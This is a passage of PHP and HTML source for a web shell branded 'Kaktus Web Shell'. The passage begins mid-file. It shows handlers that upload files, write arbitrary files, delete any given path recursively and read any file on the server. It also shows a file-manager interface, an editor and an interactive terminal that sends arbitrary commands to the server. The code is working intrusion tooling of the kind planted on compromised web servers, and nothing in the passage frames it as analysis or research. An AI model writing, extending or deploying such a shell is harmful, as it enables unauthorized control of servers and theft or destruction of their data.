= safeJoin($current_path, $_FILES['file']['name']); list($ok, $err) = tryWriteFromTmp($_FILES['file']['tmp_name'], $dest); $msg = $ok ? "Uploaded: ".$_FILES['file']['name'] : "Error: $err"; } if ($a === 'save_file' && isset($_POST['target_file'])) { if (@file_put_contents($_POST['target_file'], $_POST['file_content']) !== false) { $msg = "File saved!"; } } } if (isset($_GET['a']) && $_GET['a'] === 'del' && isset($_GET['path'])) { if (rrmdir($_GET['path'])) $msg = "Deleted!"; } if (isset($_GET['a']) && $_GET['a'] === 'edit_file' && isset($_GET['path'])) { header('Content-Type: text/plain'); echo @file_get_contents($_GET['path']); exit; } if (isset($_GET['a']) && $_GET['a'] === 'logout') { session_destroy(); header("Location: ?"); exit; } /* ---------- UI Icons (same as before) ---------- */ function svgIcon($name, $class='w-5 h-5 text-slate-400'){ $icons = array( 'folder'=>'<svg class="'.$class.'" fill="currentColor" viewBox="0 0 24 24"><path d="M10 4l2 2h6a2 2 0 012 2v1H4V6a2 2 0 012-2h4z" opacity=".3"/><path d="M3 9h18v9a2 2 0 01-2 2H5a2 2 0 01-2-2V9z"/></svg>', 'file'=>'<svg class="'.$class.'" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M13 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V9z"/><polyline points="13 2 13 9 20 9"/></svg>', 'trash'=>'<svg class="'.$class.' text-red-500" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><polyline points="3 6 5 6 21 6"/><path d="M19 6v14a2 2 0 01-2 2H7a2 2 0 01-2-2V6m3 0V4a2 2 0 012-2h4a2 2 0 012 2v2"/></svg>', 'edit'=>'<svg class="'.$class.' text-green-500" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M11 4H4a2 2 0 00-2 2v14a2 2 0 002 2h14a2 2 0 002-2v-7M18.5 2.5a2.121 2.121 0 013 3L12 15l-4 1 1-4 9.5-9.5z"/></svg>' ); return isset($icons[$name]) ? $icons[$name] : ''; } ?> <!doctype html> <html lang="en" class="dark"> <head> <meta charset="utf-8"> <title>Kaktus BLUE SHELL</title> <script src="https://cdn.tailwindcss.com"></script> <style> body { background: #0b1220; color: #e5e7eb; font-family: 'Ubuntu', sans-serif; } .card { background: rgba(15,23,42,0.8); border: 1px solid rgba(148,163,184,0.1); backdrop-filter: blur(10px); } .terminal-input:focus { outline: none; } .terminal-output { max-height: 400px; overflow-y: auto; } </style> </head> <body class="flex min-h-screen"> <div class="w-64 bg-gray-900/80 border-r border-gray-800 p-6 flex flex-col justify-between"> <div> <h1 class="text-2xl font-bold text-blue-400 mb-8">Kaktus Web Shell</h1> <nav class="space-y-4"> <a href="?d=<?= urlencode($initial_script_dir) ?>" class="block hover:text-blue-300">Home</a> <a href="#shell" class="block hover:text-blue-300">Terminal</a> </nav> </div> <a href="?a=logout" class="text-red-500 font-bold">LOGOUT</a> </div> <div class="flex-grow p-8 overflow-auto"> <?php if($msg): ?><div class="bg-blue-600/20 border border-blue-500 p-3 mb-4 rounded"><?= h($msg) ?></div><?php endif; ?> <div class="flex gap-2 text-sm mb-6 bg-gray-800/40 p-3 rounded-lg"> <?php foreach(breadcrumbs($current_path) as $bc): ?> <a href="?d=<?= urlencode($bc[1]) ?>" class="text-blue-400 hover:underline"><?= h($bc[0]) ?></a> <span class="text-gray-600">/</span> <?php endforeach; ?> </div> <div class="card p-6 rounded-xl mb-8"> <div class="flex justify-between items-center mb-4"> <h3 class="text-lg font-bold">File Manager</h3> <form action="?d=<?= urlencode($current_path) ?>&a=upload" method="POST" enctype="multipart/form-data" class="flex gap-2"> <input type="hidden" name="csrf" value="<?= $_SESSION['csrf'] ?>"> <input type="file" name="file" class="text-xs"> <button class="bg-blue-600 px-3 py-1 rounded text-xs font-bold">UPLOAD</button> </form> </div> <table class="w-full text-left text-sm"> <thead><tr class="border-b border-gray-800 text-gray-400"><th>Name</th><th>Size</th><th class="text-right">Action</th></tr></thead> <tbody> <?php $files = listDirEntries($current_path); natcasesort($files); foreach($files as $f): if($f=='.'||$f=='..') continue; $path = safeJoin($current_path, $f); $is_dir = is_dir($path); ?> <tr class="border-b border-gray-800/50 hover:bg-gray-800/30"> <td class="py-3"> <a href="<?= $is_dir ? '?d='.urlencode($path) : '#' ?>" class="flex items-center gap-2 <?= $is_dir ? 'text-amber-400' : 'text-gray-300' ?>"> <?= svgIcon($is_dir ? 'folder' : 'file') ?> <?= h($f) ?> </a> </td> <td class="text-gray-500"><?= $is_dir ? 'DIR' : humanSize(@filesize($path)) ?></td> <td class="text-right flex justify-end gap-3 py-3"> <?php if(!$is_dir && isTextFile($path)): ?> <button onclick="openEditor('<?= h($path) ?>')" title="Edit"><?= svgIcon('edit') ?></button> <?php endif; ?> <a href="?d=<?= urlencode($current_path) ?>&a=del&path=<?= urlencode($path) ?>" onclick="return confirm('Delete?')"><?= svgIcon('trash') ?></a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <!-- TERMINAL SECTION - FIXED --> <div id="shell" class="card p-6 rounded-xl"> <h3 class="text-lg font-bold mb-4">Interactive Terminal</h3> <div id="terminal-output" class="terminal-output bg-black/70 rounded p-3 font-mono text-sm text-green-400 mb-3" style="height: 300px; overflow-y: auto;"> <div>>_ Terminal ready. Type command below.</div> </div> <form id="terminal-form" class="flex gap-2"> <input type="hidden" name="csrf" id="csrf-token" value="<?= $_SESSION['csrf'] ?>"> <span class="text-green-400 font-mono">$</span> <input type="text" name="cmd" id="terminal-cmd" class="terminal-input flex-grow bg-transparent border-none text-green-400 font-mono focus:outline-none" autocomplete="off" autofocus> <button type="submit" class="bg-blue-600 px-3 py-1 rounded text-xs">Run</button> <button type="button" id="clear-terminal" class="bg-gray-700 px-3 py-1 rounded text-xs">Clear</button> </form> <div class="text-xs text-gray-500 mt-2">Tip: Use standard commands (ls, pwd, whoami, etc.)</div> </div> </div> <div id="editorModal" class="fixed inset-0 bg-black/80 hidden flex items-center justify-center p-8"> <div class="card w-full max-w-4xl h-full flex flex-col p-6 rounded-2xl"> <h3 id="editTitle" class="mb-4 font-bold text-blue-400">Editor</h3> <form action="?d=<?= urlencode($current_path) ?>&a=save_file" method="POST" class="flex-grow flex flex-col"> <input type="hidden" name="csrf" value="<?= $_SESSION['csrf'] ?>"> <input type="hidden" name="target_file" id="target_file"> <textarea name="file_content" id="file_content" class="w-full flex-grow bg-gray-900 border border-gray-700 p-4 font-mono text-sm rounded mb-4"></textarea> <div class="flex justify-end gap-4"> <button type="button" onclick="closeEditor()" class="px-6 py-2 bg-gray-700 rounded-lg">Cancel</button> <button type="submit" class="px-6 py-2 bg-blue-600 rounded-lg font-bold">SAVE CHANGES</button> </div> </form> </div> </div> <script> // Terminal AJAX handling with better error management const termOutput = document.getElementById('terminal-output'); const termForm = document.getElementById('terminal-form'); const termCmd = document.getElementById('terminal-cmd'); const csrfToken = document.getElementById('csrf-token').value; function appendToTerminal(text, isError = false) { const line = document.createElement('div'); line.className = 'mb-1'; line.style.color = isError ? '#f87171' : '#4ade80'; line.textContent = text; termOutput.appendChild(line); termOutput.scrollTop = termOutput.scrollHeight; } termForm.addEventListener('submit', async (e) => { e.preventDefault(); const cmd = termCmd.value.trim(); if (cmd === '') return; appendToTerminal(`$ ${cmd}`); termCmd.value = ''; termCmd.focus(); try { const formData = new URLSearchParams(); formData.append('csrf', csrfToken); formData.append('cmd', cmd); const response = await fetch(window.location.href, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }, body: formData.toString() }); // Check if response is OK if (!response.ok) { appendToTerminal(`HTTP Error: ${response.status} ${response.statusText}`, true); return; } const text = await response.text(); let data; try { data = JSON.parse(text); } catch (jsonError) { console.error('Raw response:', text); appendToTerminal(`Server returned invalid JSON. Raw response (first 200 chars): ${text.substring(0,200)}`, true); return; } if (data.error) { appendToTerminal(`Error: ${data.error}`, true); } else if (data.output !== undefined) { const output = data.output.trim(); if (output) { output.split('\n').forEach(line => appendToTerminal(line)); } else { appendToTerminal('(no output)'); } } else { appendToTerminal('Unexpected response format', true); } } catch (err) { appendToTerminal(`Request failed: ${err.message}`, true); } appendToTerminal(''); // blank line }); document.getElementById('clear-terminal').addEventListener('click', () => { termOutput.innerHTML = '<div>>_ Terminal cleared.</div>'; }); function openEditor(path) { document.getElementById('target_file').value = path; document.getElementById('editTitle').innerText = "Editing: " + path.split('/').pop(); fetch('?a=edit_file&path=' + encodeURIComponent(path)) .then(r => r.text()) .then(data => { document.getElementById('file_content').value = data; document.getElementById('editorModal').classList.remove('hidden'); }) .catch(err => alert('Failed to load file: ' + err.message)); } function closeEditor() { document.getElementById('editorModal').classList.add('hidden'); } </script> </body> </html>